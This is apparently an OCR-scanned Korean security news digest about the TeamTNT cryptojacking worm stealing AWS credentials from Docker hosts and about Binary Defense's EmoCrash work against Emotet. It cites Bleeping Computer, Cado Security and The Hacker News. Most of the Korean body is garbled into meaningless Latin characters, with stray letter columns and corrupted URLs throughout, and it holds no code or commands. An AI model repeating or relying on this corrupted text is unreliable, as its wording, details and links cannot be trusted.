JEEMNY 2 HiXESt=E = B2 O80| B2 HIELA AARIS 2 AZCPL SHRICL CGado Security &
TeamTNT Q| & 2742 BI0517| QI5HA] AWS X124 =X 2 AX MHE M3 A2 NHAIGH= MHAGH= RE O1lg
X745 st sO|EZAE S5 A6 Docker APl O Cfet H2S XIEt6lOf oHH Stratum O0|d Z2EES

ArE3t 010 201 thigt HZ=S EHEZS Xs HEIUCL

[EX] [Bleeping Computer] Cryptojacking worm steals AWS credentials from Docker systems
https:/ /mww.bleepingcomputer.com/news/security/ cryptojacking-worm-steals-aws—credentials—from-docker-systems/

[Cado Security] TEAM TNT—THE FIRST CRYPTO-MINING WORM TO STEAL AWS CREDENTIALS
https:/ /mww.cadosecurity.com/2020/08/17 /teamint-the—first-crypto-mining-worm-to—steal-aws-credentials/
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KIS, Emotet O] FIOFH 25101 St a0}

Researchers Exploited A Bug in Emotet to Stop the Spread of Malware

O 24U 7|5 AT ZHQ 1} 0] S| HHR0| 4= Emotet Off FIFH0| ZBIE|0] UUH A2 LIEFTTY,
AO|H E2t HES2 0] FUTHS OIZotH ZARIKIE HSAZIL AETFETL 6 ME S ALES A=

A 2E = AR,

Binary Defense 2| James Quinn 2 CiS1} 20| B3t
"OFYTEL FOPH0| US = U ATEY0CE SHAP A

X
QU= Zi¥f2 WOIRE T3t MTCES A AXILOIZGI] FOMMS WA LIS 012 24SB5H0Y oz
S2ARI= AISE 4 UL

121 ATE0Q] FoFH

o
10
0B
Ol
2
ol
i
1o
T
LTS

O] ZARIX= MXAZt AT =9| FOFES T[S H7EK] 2020 H 2 & 6 LRE 8 & 6 L] 182 & ¢t
2= 2014 A XE YAE 0212 Emotet 2 W I 0N HREH, QIR ARE, AUR S &0 T2t
AIE 7kst 0 7152 Zafet "MII0|H 272 HakdS HE 2 8 =, Emotet 2 0[0] ZEE 7171E Soll 24
Wi-Fi HIEQISN HZE M22 Sl4S 30t ZEAE 5 U= MER 7IsS L. 0] 7|s YHIO0IEE RI&Y
HIFHAUZ A ==L

Binary Defense Of (2R Emotet 2 2t TiaHkt AIAE0 AHNTES XAGP| SIoH RO 122X Ei
system32 CIZIERI] dl AIAE TS AIS3H IITS MACH B2 LSS ZITkIC

OL- L-L_-AA

=
ne
0Z
mjo
S
A
P
2
Hu

4 ARIXIQ] AN B2 Binary Defense OfiM 7HASHCMH Emotet O] 92| HEARS SNl 37 & 2]
22HERACE Ol= 2t ToHAIE HXIAED| 7| ZS ddoll ZF 2{0f| Chet HO[EE null = 235k= PowerShell
ATHES ARSI
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[BX https://www.binarydefense.com/emocrash—-exploiting—a-vulnerability-in—emotet-malware—for-defense/

ol HIXAELS 201t Al Hl exe 2l "exe’E 2E51| 20| AR}
Ct.

Ho

O|ZH| 51 AYTETt MAUHS 37|
m]

=
EFZ AIABIOA ATl S 2Hg 4

$Q

Emotet 2 Bilol7 | /8t EmoCrash

Quinn 2 EmoCrash 2t BHE Z ARX|| QAUAHE KT AdT=0] AX| REIA ZAE HI LHEZL
FAES A8oh= A Lot 7HsoHTLl SiRAC 0| Soll Emotet HX| 1M S 0IF SSA7A ABAV A= RS

S o AT AL 0] AFEEE YXAEL| s 2Alich= A il AL OF [HIME Aol ALEAt
=& A2l S EX| HXIAER| ¢S &0kl 0IF 832 HIO|E HIH| XMEO=C AlZolk= YAC2 SEBICY.

“Emotet & FS=A1717] #lo B8 A2 0] 22 H|O|E| HI{ £O|Ct Ol= A ez 4 Hof| MEE £+, 2
AQIX|2t 20| 2 S0 MEE =k UL} S= =71 2712 OMIE 1D 1000, 1001 = LIEHS Z0|C}. Ol= ZALX]
HHEL S0f| HIZkEetEl Emotet HIO|HZ|7t U= AETQIES AESK=| ALZE 4 Ut

Binary Defense = SZXfIA| HIZS +E0kX| 2471 ?loll CERT 2 Team Cymru 2+ 2=ot0] Fefeh 220
EmopCrash AAZZA! AJEES HHEIMCIN BRACE Emotet 2 4 8 & HXIAEL] 7| 7|8t €X| HHE
STRIXT 8 # 6 Y AHTE ZHE AOH|0|Eet S00F Ffet HXAEL] 2t TS 25| MAE o= UL
2020 = 7 & 17 &, Emotet 2 R EZIQ| & 7|I2tS 7K = A XAS CHA| AJRIRICE 0150] S012 220
Emocrash = 23} & HEI7| =20 8 8 6 & 7HKl= EmoCrash 7t Emotet 2| S 20| Haef 4= QAL

[EX] [The Hackers News] Researchers Exploited A Bug in Emotet to Stop the Spread of Matware
https:/ /thehackemews.com/2020/08/emotet-botnet-malware.html
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